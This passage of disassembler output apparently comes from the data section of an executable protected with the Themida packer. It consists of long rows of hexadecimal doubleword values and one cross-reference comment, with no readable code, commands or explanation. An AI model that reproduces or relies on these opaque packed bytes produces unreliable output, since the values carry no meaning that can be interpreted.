0CE1CCF7Dh, 5158545Ah, 63B13256h dd 368EAD5Eh, 2D069A5h, 75B1303Dh, 0B033F5AEh, 5DB6D8FAh dd 0A1B13256h, 57B135DBh, 1CBE5256h, 0B4D052AFh, 0E0343D04h dd 9CB13256h, 0BAB13253h, 1F13068h, 8334F4B1h, 1B6D67Ah dd 0ABB13DBFh, 3F938D56h, 0A62CBC34h, 0FE81CFE2h, 0B1447FE9h dd 0F509603Eh, 19BE52CAh, 3666B890h, 0EA04CDAEh, 0B5B6D677h dd 0EAB13CBFh, 9981FA56h, 0E92996E9h, 9AFB7154h, 2F5BFE37h dd 3CCD2CA7h, 2E3C5355h, 0D25682F1h, 79085236h, 7AE95B00h dd 0BAB132DFh, 0EB0F5356h, 0CFC6CB35h, 0D7D1E2A9h, 0A2592890h dd 9AB13256h, 4982D04Eh, 59CA3B78h, 33D069AFh, 0B992D3D3h dd 0B9323D51h, 37B13256h, 0B159B330h, 0D5BADB6Eh, 1DC83256h dd 0CF13F422h, 3361CF42h, 59DB53E1h, 59305236h, 0CFAB853h dd 0AF50B330h, 0DAD153B4h, 0EAB132DAh, 7D6DB256h, 0BAD95337h dd 52B13246h, 0AEB121D1h, 57BFDB56h, 21F03256h, 0B950B7F2h dd 0CACBB59Ah, 9E942FBEh, 0B9BC723Eh, 5DDBCB56h, 0AEB13EBFh dd 0E8868256h, 8E526B0Fh, 5D927147h, 0E561CDF5h, 75B135D0h dd 0BB3C3D56h, 0A1B13256h, 20BECE0Ch, 57B1325Ah, 0ABB7B459h dd 5CBE3256h, 0EAB13256h, 0F1BEF25Dh, 0BAB13340h, 0B44D52AEh dd 0AEB13245h, 56DAACA8h, 0AE885A5h, 0D89CB041h, 6BA89C04h dd 140B86F5h, 16BBB0DFh, 0D6BE35BCh, 0AEB1325Eh, 57B3B659h dd 0CAD13256h, 79ABB0DFh, 534935BCh, 75B23F16h, 5349B9A3h dd 5DB13247h, 0AC345517h, 0CF0F2B23h, 5B613C0Bh, 5FF15247h dd 0EC58522Bh, 0A9B13256h, 753B8876h, 6809548Ah, 6E82538Ah dd 579BB359h, 42D13256h, 0D5B1325Ch, 5BE26FD1h, 0CD5A7BD1h dd 0AE58731Ah, 0DEB13256h, 0AD9169AFh, 0CB2F3B9Dh, 60D01EDAh dd 86EB5EB1h, 8BA73312h, 274D98A5h, 53B558AFh, 5DB13258h dd 2EBAA085h, 21E21EE0h, 714D2DB0h, 0D5D9AA24h, 3B13246h dd 75B1325Fh, 0C398C374h, 869C2A36h, 0AAB15A73h, 3D493256h dd 0ABA0DB56h, 0A72C3256h, 0B6C4047h, 3546A702h, 8DE2A9ADh dd 0A892C93Eh, 8D50A0A9h, 0D7BE35B2h, 0ABB13240h, 0D5B123BFh dd 0C810B856h, 0F2055CFAh, 723CA204h, 9E2A7942h, 56EB27F4h dd 57B0B359h, 224D3256h, 3F1E2AD4h, 16D0CA51h, 0D9BBB7DDh dd 3CBE35BCh, 5DB13257h, 0CE4DF1A3h, 57B13ABFh, 93E48D56h dd 53FE6002h, 0E733F5A5h, 75B6D665h, 0B5B17256h, 5DB13AD7h dd 0AC3D3D56h, 37B13256h dd 7A33F537h, 0D5B6D64Fh, 0E5B13246h, 75B133D3h, 53D0C756h dd 5DB1325Eh, 0C2EFAC2Dh, 1D6D3175h, 0ABBEDB95h, 1C863256h dd 81531222h, 329E5F83h, 0ECF18E48h, 0A444521Fh, 2BB88DDh dd 0DBBE35BCh, 0ABB13251h, 0D5B0BB59h, 69483256h, 0F1BE3269h dd 0BAB132BBh, 5DBDB759h, 22BE3256h, 57B13250h, 0ABB1BC59h dd 0AA323256h, 6EBE3046h, 75B13239h, 0C571B336h, 0AEBB3CFh dd 5BD06CAFh, 53A14DD5h, 0AB37B659h, 0B3D13256h, 0AC08EDD7h dd 75B121BEh, 0E4B2B756h, 0C4CE94E9h, 6DDFE724h, 96AFE011h dd 4B00F0B4h, 0D5B123BFh, 0B51F3256h, 0D37F27FAh, 0BA597F8Eh dd 4B573D0Ch, 0CFE92D6Eh, 4376B1A3h, 0ABB13CBFh, 0DBD8056h dd 916002D5h, 4194EE42h, 53BBC3D3h, 0A24ECD25h, 0A90F5436h dd 90D0C704h, 0ABB02211h, 0DD583256h, 30B13256h dword_5EEC68 dd 0B1AE4C19h, 5379C499h, 0A24ECD93h, 0AEBCDB36h, 31EE3256h ; DATA XREF: Themida_:0059CECCo dd 0C1BAFEE6h, 1D316FB4h, 8B965CE7h, 76A17591h, 0B5B13256h dd 5DB13AD8h, 74305256h, 1D64E266h, 5426DB37h, 87D1CDA9h dd 0DF881CE8h, 78586B17h, 91B13256h, 3955A014h, 5D0C0A82h dd 902456C5h, 0BA585337h, 0A5B13256h, 1C43F13Dh, 4726F883h dd 536C58DAh, 1F3B7F1h, 0AEBDDB95h, 0E9573256h, 1C312019h dd 0D2A6FE0Ah, 8AE4FF47h, 75B135BEh, 1028F556h, 0D6633046h dd 0A1E66BAFh, 36E8CDE1h, 0AF333D36h, 0B3B13256h, 614D0BE8h dd 993A539Dh, 0BAB7BC59h, 3BD13256h, 0CF761EEFh, 5D353D36h dd 42B13256h, 0D5B13253h, 0B54F03BDh, 75B1DAEAh, 3BEB3256h dd 0B77991BCh, 0A058CA51h, 0EB13256h, 20C0A4E5h, 3125EB38h dd 58DA4320h, 5B03B970h, 0B5B6D8F9h, 5DB13EDEh, 0A8373D56h dd 58B13256h, 0ABB132D8h, 0D5B8DB56h, 0DF053256h, 0EEA6B2E4h dd 31443D69h, 4E583A13h, 1CB13256h, 1D1ED10Dh, 2A2D9BDDh dd 6329B1Eh, 220A743Ah, 73380634h, 0BAB139BFh, 616E5256h dd 7DA9E416h, 0AA3C1D05h, 49FB0D5h, 20B535BCh, 0ED585237h dd 18B13256h, 24C4FB90h, 94D01286h, 2FD76036h, 0CE9EBB1h dd 69D0C2DDh, 0B5493252h, 0EABDB659h, 0F8BE3256h, 0BAB13250h dd 5DB1BB59h, 0AE593256h, 0DB13256h, 62E1D8D7h, 204D35BCh dd 45A980DDh, 4E4935BCh, 501E1CE4h, 8C353D51h, 0CEB13257h dd 0E75BDAD6h, 953A5374h, 0B3A6536h, 0F0B600Ch, 2BD550EFh dd 536EB937h, 5DB1325Eh, 7F543373h, 0AAB7CD80h, 0AAFE8459h dd 0D5B0B959h, 1C483256h, 7A313311h, 0BAB10CD3h, 0E2BE5256h dd 0AEB8DBAEh, 0FD6B3256h, 4A3E6605h, 0B459FD80h, 68BEEB55h dd 75B13251h, 0BAB0BD59h, 0B4493256h, 0AEB13265h, 57A0BF59h dd 0A7583256h, 7FB13256h, 23DBF208h, 0D5DE9357h, 91B1014Fh dd 49313D8Fh, 47B13256h, 57B13259h, 8B86C91Ah, 13FEA099h dd 7EEC7C4Dh, 365551CEh, 53D152AEh, 5DB1325Bh, 284C2899h dd 99BF8167h, 0C88827DFh, 0B472B841h, 0C25AE2D7h, 36D0292Eh dd 0BAB0B359h, 0D64D3256h, 4A927FD3h, 57BBDB51h, 148B3256h dd 9FF112B4h, 0BC6A9A90h, 60D4BFDDh, 814935B2h, 0E8333D8Eh dd 0A1B13256h, 57B12FD7h, 0BC3E3D56h, 3CB13256h, 0EAB13244h dd 616C45A9h, 0D0F13218h, 6656021Fh, 655F7D1Ch, 8E8A4D1Ch dd 0AB3BB559h, 0C6583256h, 3B13256h, 0C1B8C354h, 0C2C1B1CEh dd 0BA6FAFD6h, 6670F69Fh, 913231EEh, 43D15252h, 0D5B1325Bh dd 0CC29D32Fh, 39AADE5Ah, 0F40E44ACh, 49586D2Fh, 3AB13256h dd 424E4964h, 0DACD3F09h, 0ECD6C7E7h, 6E4E56FBh, 14166542h dd 0B5D01DE2h, 5DB13CD4h, 0AEB8DB56h, 0E2DB3256h, 12CCE38Ch dd 3C17E222h, 154ECCD5h, 75B13FBFh, 6897B456h, 55253FB1h dd 41EB52FDh, 5A58EDE6h, 0EBB13256h, 70958944h, 95260F68h dd 0C65E8116h, 3EBEFD6Dh, 5DB13262h, 0AEB13CBFh, 778C8356h dd 0DC5F3103h, 47FAFFD4h, 8ABBFA25h, 75B7DBA3h, 355B3256h dd 0A17E1871h, 0CB0CBB37h, 58B6D643h, 0ABB133D9h, 0C858C756h dd 124ECDA8h, 75A0DB37h, 83A93256h, 5D1B5BDEh, 592E62DAh dd 1B7DD11Ch, 6896A503h, 0A553B236h, 0FB2AF0D7h, 15D03025h dd 0BAB123BFh, 0CE5EA156h, 365C2FF6h, 0BABD4F74h, 65832BE7h dd 56BEC1D3h, 0EAB13241h, 75A0B659h, 0B6583256h, 0C8B13256h dd 8BFB5B3Eh, 0E5C16FC4h, 437650DBh, 0D5B13256h, 735BB30Ch dd 7AB6D89Dh, 0BAB133D1h, 0B4D1CA56h, 0AEB1325Eh, 0FC73D4h dd 3B4735F0h, 0B5D047E5h, 6BD7E8DDh, 141FE6B9h, 15A988DDh dd 555835BCh, 55B13256h, 400152Ah, 42341833h, 0D5B1325Ah dd 0ED79F43Ch, 31DC9AEEh, 0FE2E553Dh, 5DB032EFh, 0A1343D56h dd 0BEB13256h, 0ABB1325Ch, 64678982h, 7FB755FAh, 0B58263E7h dd 0BAB0BE59h, 0AE493256h, 220252FDh, 57B3B659h, 0F1E13256h dd 0DD3D3D37h, 0E5B13256h, 75B130DBh, 31D05256h, 0B71E2AD4h dd 2C38CE51h, 505B9D78h, 0ABB0B659h, 0B4493256h, 0E5725336h dd 75B139D6h, 5BE5256h, 0A567B3ACh, 0CFA7DBF2h, 43323D36h dd 0CBB13256h, 0D5BDDBAAh, 3EB93256h, 0BE1C64EAh, 0DEC887D5h dd 0B5D0D05Dh, 0AEB13256h, 3A5BB30Ch, 42B6D89Ah, 0D5B13242h dd 72BCF1EAh, 0D8F8C314h, 0FD95BF62h, 0B0ABAD2Bh, 8E2A78C9h dd 0B963B336h, 0CDE0B1B3h, 0B48F52EDh, 0C69CB790h, 7AE735B2h dd 0BAB133D9h, 64D9CA56h, 0CE652D3Bh, 0D3BEC736h, 0ABB13256h dd 0D73C3D37h, 0BBB13256h, 0C04E530Fh, 0BD551317h, 5DB8DA36h dd 7FA23256h, 0BF395042h, 0A480E2E3h, 64EAE5E9h, 6F3C5361h dd 725682F1h, 423A5436h, 5DB13CBFh, 7CB26B56h, 824847B4h dd 0B132C875h, 0B4B5B21Fh, 0B848E2A9h, 675862AEh, 0ABB13256h dd 0AEE028ADh, 6A3FD9D1h, 536766DAh, 0D57DA795h, 55B15AA8h dd 80483256h, 743B3D56h, 43B13256h, 0F1BB80A9h, 514835BCh dd 37485286h, 0CAEF64AAh, 0DA586A37h, 69B13256h, 6D87E79Ch dd 0EE3B6365h, 587804B2h, 0A1EB5695h, 57B121D9h, 0ABBFDB56h dd 0F0163256h, 9C2A02BBh, 0D545BA68h, 0E4BCD3E2h, 5D31323Eh dd 0AF3F3D56h, 0A2B13256h, 0A4D1323Ch, 6ABEC8E1h, 6BD153A4h dd 9C25AD8Dh, 70063D67h, 4503CD37h, 0A1B6D8F9h, 57B121D3h dd 0ABBFDB56h, 0FF533256h, 2BA9762Ah, 30F53582h, 4DB30D2Eh dd 0D8BEE2A9h, 0AEB13257h, 5A5853AAh, 6CB13256h, 0A1FDEF89h dd 2E9BA893h, 0D7076C3Eh, 30BEC795h, 5DB1325Ch, 7C305436h dd 0E0BECC4Ch, 53E45391h, 3C5DB9AEh, 0EAB1325Ch, 883DC9A5h dd 2B3A60CEh, 3DD14FEDh, 477E8D59h, 57B13246h, 0D5C2FA64h dd 0B48B5D0Dh, 1F353C9Fh, 0A934D3EAh, 0BAB1DA37h, 0DCEB3256h dd 447F35BCh, 57A3DB51h, 984F3256h, 8A99FE29h, 73CADF0h dd 0B0E0469Eh, 0E137D583h, 6E75236h, 0CFD082E6h, 57B122BFh dd 0DC763256h, 0A6012163h, 81D0FE30h, 11430BD4h, 0B2C4B95Ch dd 5DA6B059h, 0BC583256h, 8EB13256h, 546510Fh, 2A63DC72h dd 92BA9874h, 0EF0E5043h, 0AB0852EAh, 3DE74F54h, 0AEB1BF59h dd 0A6303256h, 0E31AE87Dh, 34595337h, 1FB13258h, 75B8DB03h dd 2B1C3256h, 0DF1B1113h, 51BB7114h, 0BD1D88C4h, 1CBE5251h dd 8A0665A8h, 0E5EC5308h, 75B133D3h, 0CF8AC756h, 96343D5Ah dd 0A14ECDA9h, 57B126DEh, 0A6585256h, 4CB13256h, 9C563763h dd 0D658C3B4h, 196DD88Ah, 5323DA37h, 0CF4D3256h, 57B139BFh dd 0B0590C56h, 4FA3CB0Eh, 64CDA6C7h, 75B9B859h, 3BBE3256h dd 5DB13254h, 0A1785336h, 57B133DAh, 0A373CB56h, 0CC3F3D56h dd 3B13256h, 75B13242h, 296A21D0h, 4DDFE2BAh, 3A6B8490h dd 0A5C4C7F9h, 64E6DE3Eh, 393AC703h, 0EAA9B759h, 0F1BE3256h dd 0BAB13244h, 5DB13FBFh, 9A3FA956h, 3235CC02h, 6E554B63h dd 564D035Ch, 8CD1CE92h, 25527DE9h, 0BAB13ABFh, 99F16856h dd 2C121598h, 1D06C17h, 0AF373D36h, 0B3B13256h, 8CE473EDh dd 3111DDD7h, 3DBE6537h, 5DB13251h, 0AEB0BA59h, 4483256h dd 0ABB6B359h, 5CBE3256h, 0EAB13257h, 75B1DAAEh, 3BEB3256h dd 0B77EB1BCh, 0A4595251h, 3FB13256h, 99017E0Fh, 6FD78BC9h dd 0EABEDBC6h, 41A73256h, 9834756Ah, 504225FEh, 8EB4A69Eh dd 525868DBh, 0F0B13256h, 0CFAC551Fh, 0FB3B3D37h, 7AB13256h dd 0BAB139D9h, 5DB7DB56h, 73373256h, 0F0D13C7Bh, 42B947DDh dd 0D5B13244h, 0AFE7D622h dd 0AD3F85F4h, 0D60D58F3h, 161988Fh, 0D33A7F81h, 0BEE6C746h dd 0ABB13251h, 487AB545h, 0E5DC0BF1h, 75B133D1h, 53E7C756h dd 5DB13242h, 5A53F990h, 1199AF84h, 97020D39h, 0C54EA282h dd 0EE88AE97h, 7477DAAFh, 0DCD13256h, 529849EDh, 0AEB131D8h dd 8A6FB256h, 0A4713937h, 0D5B03DD2h, 0EAA2DB56h, 85A73256h dd 0CBC160F1h, 0B3F1F0Bh, 0FD345CE9h, 61039AFh, 0A1343DBEh dd 0B5B13256h, 0FA5EF0D7h, 2AE14700h, 0DA49B937h, 0B5D7F0D6h dd 0AEB13245h, 0AC8BBBEBh, 0CD244F83h, 8154F018h, 851651DFh dd 23E49C00h, 0EFD06B0Ch, 5DB137BFh, 0F2B33056h, 0C54E3DFFh dd 0AC5B9EECh, 0D5B13DBFh, 0C53B2856h, 9620118Ch, 28C7650Bh dd 2D456AE6h, 0AEB9DB0Bh, 3C233256h, 0DAEEDB73h, 0A08AF044h dd 63353D5Ah, 9CB13256h, 0BAB13250h, 72AEFD35h, 25D75B0Fh dd 57BFDB48h, 6E0A3256h, 61DDBB31h, 0AF60400Bh, 0D71BF135h dd 0BAB13BBFh, 9547FD56h, 65AA7B81h, 0B0311A37h, 0DE0F52A6h dd 0B58C9490h, 0EAB1B059h, 0AA303256h, 0FEB7777Dh, 433B5337h dd 4D31CBA3h, 46323DA6h, 42B13256h, 0D5B1325Ah, 6EDE5B3h dd 0AE0B011Dh, 0EAC88B0Eh, 5D92B4BEh, 1158CA56h, 0BE4ECDA8h dd 0ABB13242h, 0B14C3217h, 879DEA19h, 0FBF6ADB6h, 8A3337Eh dd 30F3CE31h, 0A14D4FDFh, 57B13EDFh, 0AD313D56h, 0DAB13256h dd 0EAB132D7h, 8072DA56h, 3D1CDA9h, 115F41A6h, 0FF51B330h dd 0BEEA537Dh, 0ABB1325Dh, 491B0F75h, 306DC18Eh, 2A220184h dd 0BAB126BFh, 63DF6456h, 5356F066h, 1FDFEA67h, 4C6A05BAh dd 500EA12Ah, 3446C3Ch, 75B13250h, 0EECE39A9h, 183A264Dh dd 0A63E3DAAh, 58B13256h, 0ABB130D1h, 1CD05256h, 0EAA5B959h dd 7A583256h, 34B13256h, 3EA3EA43h, 0AF280E30h, 0F1FD1547h dd 0A7733DE8h, 0D3585256h, 0A5B13256h, 0F143ABA9h, 2D7648Fh dd 3CEF9267h, 0AEA0DB03h, 8DF93256h, 4DA35FA0h, 76EBEE25h dd 0B0B09291h, 0FE529100h, 0B2383DBAh, 3DB13256h, 2E0EE0D6h dd 0D4D0B7A6h, 0B858CA92h, 0A6B13256h, 71BC7EF2h, 0B87BB92Bh dd 0D20A9455h, 0E3333C49h, 47E6BFE5h, 57B13246h, 596679E6h dd 3F00DE54h, 323D3A09h, 51E47155h, 53E0C700h, 5DB13242h dd 8BB2C8F5h, 0FB4CCA27h, 7C4C7765h, 0F6CB82F2h, 5A9FEAA7h dd 75B9DB05h, 45C3256h, 444D952h, 0EB765841h, 57B132AEh dd 79075256h, 302B8B30h, 9933F537h, 74B6D8F8h, 46B13256h dd 52B947DDh, 0AEB125D6h, 57A3DB56h, 9CF43256h, 38D6AB6Ch dd 46A1063Ch, 0E3A82FE2h, 0B0A1D059h, 0A4AFB930h, 2BB88DDh dd 0D4BE35BCh, 0ABB1324Fh, 0D5A2B559h, 0E4583256h, 7DB13256h dd 0EB9F2930h, 64841769h, 0BE458A95h, 5FEEB9BAh, 0ABB134BFh dd 8D700656h, 0E109E339h, 0F0353D8Dh, 53B13256h, 5DB13242h dd 0FABA14B7h, 0DFC6F651h, 3C6871B1h, 0BFA0286Dh, 325E00B6h dd 75A5B859h, 0B5583256h, 30B13256h, 4C97A4D8h, 0C6CD9F17h dd 6BD71D50h, 0B8AA774h, 0EAA6B759h, 73583256h, 1BB13256h dd 0D95309A9h, 0A2ECB91Fh, 5BEEBBAFh, 583A5436h, 0C176B137h dd 0EA383D36h, 9CB13256h, 0BAB1325Ah, 0CCDEAAC6h, 0FB224041h dd 714836E2h, 54C6DB37h, 6CD1CDA9h, 9727F586h, 75B137BEh dd 0B934AC56h, 3CEA8D08h, 0CEAFB930h, 57B13ABFh, 7803D456h dd 0EFA71A5Bh, 343A5424h, 7B595237h, 1BB13256h, 0EFE6CBD1h dd 8FD69F2Ch, 0AD7A0CDDh, 643A54CDh, 0D6303D0Dh, 0E5B13256h dd 0F5D0EBE1h, 3EBEDAADh, 5DB13126h, 0AEB9BC59h, 0DDBE3256h dd 0ABB13254h, 2E315336h, 0B3353DBFh, 15B13255h, 514AB237h dd 5EFFB659h, 0FED13256h, 31EF5336h, 0D044F5D7h, 374AB237h dd 0E996B659h, 7E583256h, 4B13256h, 0F57A66B9h, 3F2930F0h dd 0AC31775Ch, 58353DB5h, 0B5B13254h, 10BDAD7h, 0BD310AA7h dd 0DC4D539Ch, 0BED6C9D7h, 0AC46B659h, 0BE443256h, 0ABB1325Ah dd 0AC9FA10Bh, 280B9A39h, 895A5F4Fh, 0DA41D5D6h, 5DB3B159h dd 0CFD13256h, 0AC305437h, 2FBEB259h, 0D5B130B6h, 8CEB6036h dd 14BF73E8h, 4241D1D6h, 52C1C9D6h, 0AEB3F9D2h, 57BCDB56h dd 95C23256h, 1EE7C035h, 0EED9E884h, 1391DA3Bh, 0AB582CDDh dd 1BB13256h, 0B71A2DBDh, 86DF6172h, 0C08B2B7Fh, 0B146DB1Bh dd 0E549D1D6h, 75B13EDFh, 3DBE5256h, 5DB13256h, 65D58C30h dd 97305237h, 0B8F7B82Ch, 0B410C0D6h, 0E509C9D6h, 75B0B6D2h dd 0A23C3D56h, 0B4B13256h, 0AEB13245h, 34AA1301h, 0E4CA50EFh dd 0C574785Fh, 0BB4FD941h, 0F54B9AF9h, 3EBE3768h, 5DB1330Bh dd 0AEBEB859h, 5D583256h, 0EB13256h, 0CB66A553h, 4E348B9Ah dd 588FB2F8h, 0BB8EB659h, 0D4BE3256h, 0AEB13257h, 3F8FB2AAh dd 0AA9EB659h, 50BE3256h, 0EAB13251h, 75B0B959h, 0B5493256h dd 5DB135D6h, 0CFD15256h, 3643B930h, 5C2B0A9h, 0DAD135BCh dd 3E7E1E1h, 75B1325Fh, 3A8A2795h, 45115A50h, 0C8D0683Bh dd 46582CDDh, 26B13256h, 0A1196BEAh, 569DAB27h, 0B54F4A18h dd 7A48741Ch, 0A449D5D6h, 553054AAh, 0D3BEDAD7h, 0ABB13287h dd 3CD0C736h, 0EAB13246h, 6F66F128h, 94850A63h, 0E23B3882h dd 87B5D664h, 58AFB930h, 0ABB13ADEh, 0D73D3D56h, 8AB13256h dd 8556B237h, 78305436h, 52D0E1D9h, 0AEB138D5h, 0D9BE5256h dd 0ABB13256h, 0B3D0C5DDh, 2A30C9D7h, 7532B659h, 0BF583256h dd 0A4B13256h, 0CEAF519Ch, 37E4CB36h, 4B7D8D30h, 474E53AFh dd 0ED5B9EECh, 75B8DB36h, 0E7EA3256h, 1261A189h, 0A1A470C2h dd 57B134D9h, 0AB3E3D56h, 0B4B13256h, 0FF05520Bh, 0C970E0D7h dd 33D057A3h, 0D4BECE13h, 0AEB1325Eh, 57B3BD59h, 0CAD13256h dd 0DF363D37h, 3B13256h, 75B13253h, 6F1FE4B8h, 0A1CCB164h dd 4F343D57h, 0BEB13257h, 0ABB13247h, 0C9EB75ADh, 0FB2FB66Fh dd 9B598970h, 0E9E04818h, 500BB9D3h, 5BB6D665h, 0D53ACE06h dd 0AC5B9C25h, 0D5B120BFh, 0C7F59D56h, 0B71E3919h, 40C2B6EAh dd 0D9642225h, 9764BC7Ch, 0F44026Ah, 0AA2BB059h, 0C7583256h dd 0CDB13256h, 0B34DF93Eh, 0A0497AACh, 8913E2E6h, 48D8FE38h dd 860BB98Eh, 0A4B6D64Fh, 0D5B13AD6h, 0D7055256h, 0E9AD8830h dd 39BE6237h, 5DB1324Fh, 0AEB126BFh, 4BBADC56h, 246F076Eh dd 0F40A979Dh, 9A0261C1h, 103339Eh, 0C933B905h, 52B6D8F8h dd 0AEB137D8h, 0E8BE5256h, 97885385h, 0D5B7DB66h, 43363256h dd 0B0691C26h, 933E3D0Eh, 52B13257h, 0AEB125DAh, 463C3D56h dd 42B13256h, 0D5B1325Ah, 17F02020h, 89294ADh, 3AE96E95h dd 5DB11DBFh, 0EB76CE56h, 57B130AEh, 560E5256h, 0DAA00981h dd 0EAB133D1h, 9CD0C756h, 0BAB13242h, 0A5F4F5AFh, 0AEB13257h dd 57B135BFh, 9B7F8556h, 74FB7FE4h, 46BB88DDh, 0FE4935BCh dd 15005249h, 5DB0B559h, 0CF483256h, 0D3BEE95Dh, 0ABB132EAh dd 0D5B138BFh, 5F9E9956h, 9492D85Bh, 81D609F4h, 3C343D88h dd 0A1B13256h, 57B133DFh, 0F63ACE56h, 0D5BDDB5Ah, 68C73256h dd 5A180E40h, 35A00BD5h, 0D0BEE332h, 0AEB13240h, 57B123BFh dd 31B64856h, 761B38A2h, 0A67EC881h, 4BE78D98h, 0C73229BEh dd 0D9BE32AEh, 0AEB13253h, 0AFEC31AAh, 0AFEEBBA3h, 0D5A3B859h dd 0E7583256h, 40B13256h, 9ACC9CD8h, 9EEE99C3h, 40638590h dd 58A5F5D5h, 0ABB135D0h, 0B4D15256h, 8B73B930h, 8A4E6CBFh dd 0BABFDBA9h, 11C73256h, 0C1C9A711h, 0DDF97EA7h, 2B5FD0A3h dd 0D258F265h, 0CCB13256h dd 790792F0h, 5349A8CAh, 5DB13609h, 0AF393DA3h, 0AEB13256h dd 0A4AFB930h, 0D5B13FD3h, 6BD75256h, 7A7ADF8Fh, 0BAB132D8h dd 203A5356h, 0B83B3D5Ah, 0BEB13256h, 0ABB13247h, 0A476681Eh dd 0DC85723Ch, 75414B4Fh, 126A98C4h, 0B64AB240h, 0AEFFB659h dd 0BED13256h, 0ABB13246h, 3DDB9B47h, 67ED74D1h, 0D1A01E8Ah dd 267AFA6Ch, 5DB13FBFh, 734D6A56h, 13D45FCDh, 0FFB2E975h dd 55D05529h, 60D1C2B5h, 953054B4h, 3AD0A202h, 0D9BE42ADh dd 0AEB13227h, 57B137BFh, 0A39F1256h, 0C658C2E3h, 13B13257h dd 7A583590h, 0BAB133DFh, 1A76C756h, 0AEB13257h, 46595256h dd 7DB13256h, 743AF0FAh, 1A5E2887h, 0D26513B0h, 78EBE750h dd 1E52B330h, 4631683Fh, 903A5383h, 0ABBFDB36h, 0C32E3256h dd 3FA68821h, 0B82F3A27h, 1F1272D9h, 0DED0F1DDh, 24D13796h dd 54323DBEh, 0A4B13256h, 3CD0E8E1h, 0EAB1313Dh, 727654AFh dd 31D13A59h, 8B3A548Fh, 0B03BCA37h, 57BDBC59h, 12D13256h dd 0F812AD70h, 7571B330h, 9631539Dh, 0B2303D59h, 3DB13256h dd 0A14FB930h, 0D7D0C0E9h, 2CBEB29Dh, 0D5B13242h, 0EAB13DBFh dd 960B9956h, 4C0FFD2Ah, 6E624A3Fh, 0BDCA6474h, 0BEB06DDEh dd 0ABB13259h, 0D97E88A9h, 0F7407CF1h, 0A5FEFEE2h, 7D61B69Dh dd 5DB13011h, 2DBE3256h, 57B13257h, 0CB76B9AAh, 57BEEBDDh dd 0EAB13247h, 75B139BEh, 0C470D056h, 140651CFh, 5C6AF66Dh dd 9732530Fh, 0AC353D50h, 0DAB13256h, 0EAB133DAh, 0FED1CE56h dd 0A151B3A4h, 3CD9113Eh, 0AEB388BFh, 0D6D7CE56h, 0A421A268h dd 0D5B150D2h, 6BD75256h, 7A92BBA5h, 0BAB126D5h, 5DBFDA56h dd 0DBEF3256h, 42F4E9DBh, 0E08AA47Bh, 75AAA226h, 6A49530Ch dd 0F0BEA268h, 0BAB13218h, 5DB126BFh, 0FF400856h, 0C205764Eh dd 0E594CC01h, 9BCE9791h, 0F865046Fh, 0B3054B1h, 0B521A2A9h dd 5DB120D2h, 0EF095256h, 31F99D4Ch, 4FC7D2D7h, 0D5A9DB37h dd 61493256h, 9C44CA91h, 0BAB13015h, 5DB13BBFh, 6D971B56h dd 96C3DFA9h, 293C17B8h, 0D25B9D14h, 0EAB0BD59h, 9C4D3256h dd 0BAB13251h, 3F4438F7h, 0FE39FC89h, 0A84964AAh, 411DDFC4h dd 0D5A3DB51h, 5A593256h, 0F961C828h, 5A162C56h, 6D527C1Fh dd 0D26CFDA7h, 0D3BEF25Dh, 0ABB13269h, 0D5B135BFh, 96D4A756h dd 669D443Fh, 31D1FADDh, 0A70E3D8Ch, 0EC03BF37h, 37B6D8F9h dd 7B40B330h, 35EB35Ch, 8BA1B727h, 75B18BBFh, 0B63A3D56h dd 52B13256h, 0AEB134D2h, 57393D56h, 0FDB13256h, 0D5B6B859h dd 8AD13256h, 0BB3A5437h, 537FB937h, 5DB13247h, 0E6B7FCh dd 0C634012h, 0F7E79F15h, 8C323DEBh, 8CD15233h, 23B0EDD7h dd 54CCF1D7h, 0E3D025FEh, 0E336C477h, 31D16737h, 0B5DEFBD7h dd 6F23CD37h, 0E5B6D8FAh, 75B13AD8h, 0B8363D56h, 3DB13256h dd 85446F37h, 0D9BE5298h, 0ABB13250h, 0D5B1BC59h, 64BE3256h dd 75B13257h, 634653AEh, 5DB8B559h, 25D13256h, 9C305498h dd 42D0CB40h, 0D5B13251h, 3A6005E4h, 2BA1040Bh, 0BAB6DB36h dd 0A1A73256h, 0A05F9A35h, 57B6DBB5h, 122E3256h, 30218830h dd 9732536Ch, 0F0BE33AEh, 0BAB1320Dh, 52F882AFh, 0AEB124DCh dd 57A0DB56h, 0E2433256h, 0FB64807Eh, 494ECFDh, 9D6B6097h dd 10A8DB81h, 5DB0B959h, 0C8493256h, 0BE343DEEh, 0ABB13258h dd 0D36B4A3Ch, 644C6034h, 0DF0D5B0h, 11D7DF2Dh, 5DB9B959h dd 25D13256h, 4C0B54A7h, 1DBE5383h, 7E443310h, 0EA33DBAAh dd 0F6443256h, 0B5B3CA2Bh, 5DB146D3h, 16D7CA56h, 5058FB5Dh dd 0ACB13256h, 0E56AE0A4h, 41D748AFh, 75B134BFh, 9E525056h dd 3BCF1F9Bh, 57353DEEh, 0DCD19930h, 0ABA1DAACh, 0E7DB3256h dd 0C36591B7h, 87B997D0h, 8C6B3ACBh, 3CD14761h, 18BE530Eh dd 0FC483310h, 0ABB13FBFh, 0B9B6DE56h, 0F6ED952Ch, 438B0CDh dd 0AA58AEC2h, 0DAB13256h, 3EE00B15h, 353847A4h, 0C1ED673Dh dd 3C58EB5Bh, 0EAB13252h, 8C15C1A3h, 3BD1F5DDh, 0C62D1991h dd 0CF76B84Ch, 57BFDB36h, 166B3256h, 7AC8DC7Bh, 53812956h dd 503E6AB7h, 935E2D7h, 6D0150Fh, 4777B836h, 57B1325Dh dd 3E06FDBDh, 92400ABEh, 8BE24D76h, 74333D0Fh, 42B13256h dd 0B4D1CB08h, 0AEB1325Bh, 0CE199659h, 49CDFA33h, 5F0D3AB9h dd 0E0585287h, 73B13256h, 0CDBB696Dh, 9C6B77A8h, 0F1D053D0h dd 5D58FBAAh, 0D4B13256h, 0C9B6EEF8h, 0BE2CD402h, 75B9F0B7h dd 314867AEh, 5DB7DBBAh, 23F83256h, 0FA497331h, 0ABA3DB36h dd 3FEB3256h, 0F196049Ch, 958331AFh, 3E87DB3Ch, 68A3F00Bh dd 0AEB132BEh, 0BD306856h, 0AC5BEE98h, 0D5B123BFh, 0D963E856h dd 74DD96C5h, 9F5B8538h, 0EE30BB24h, 25448F88h, 0DEBE3A13h dd 0ABB1325Dh, 0A063D36h, 0EAB1BC59h, 0FCD03256h, 501D7DD4h dd 5DBBDB51h, 7F0A3256h, 714BAE3Ah, 94EFB1C8h, 223B5237h dd 0EAB4B559h, 0F4D73256h, 0DB2C6690h, 4959529Fh, 0E0B13256h dd 73B3480Fh, 0B36CE194h, 38A31856h, 98546A71h, 7A359A1Fh dd 0BAB132D8h, 0D6D76D56h, 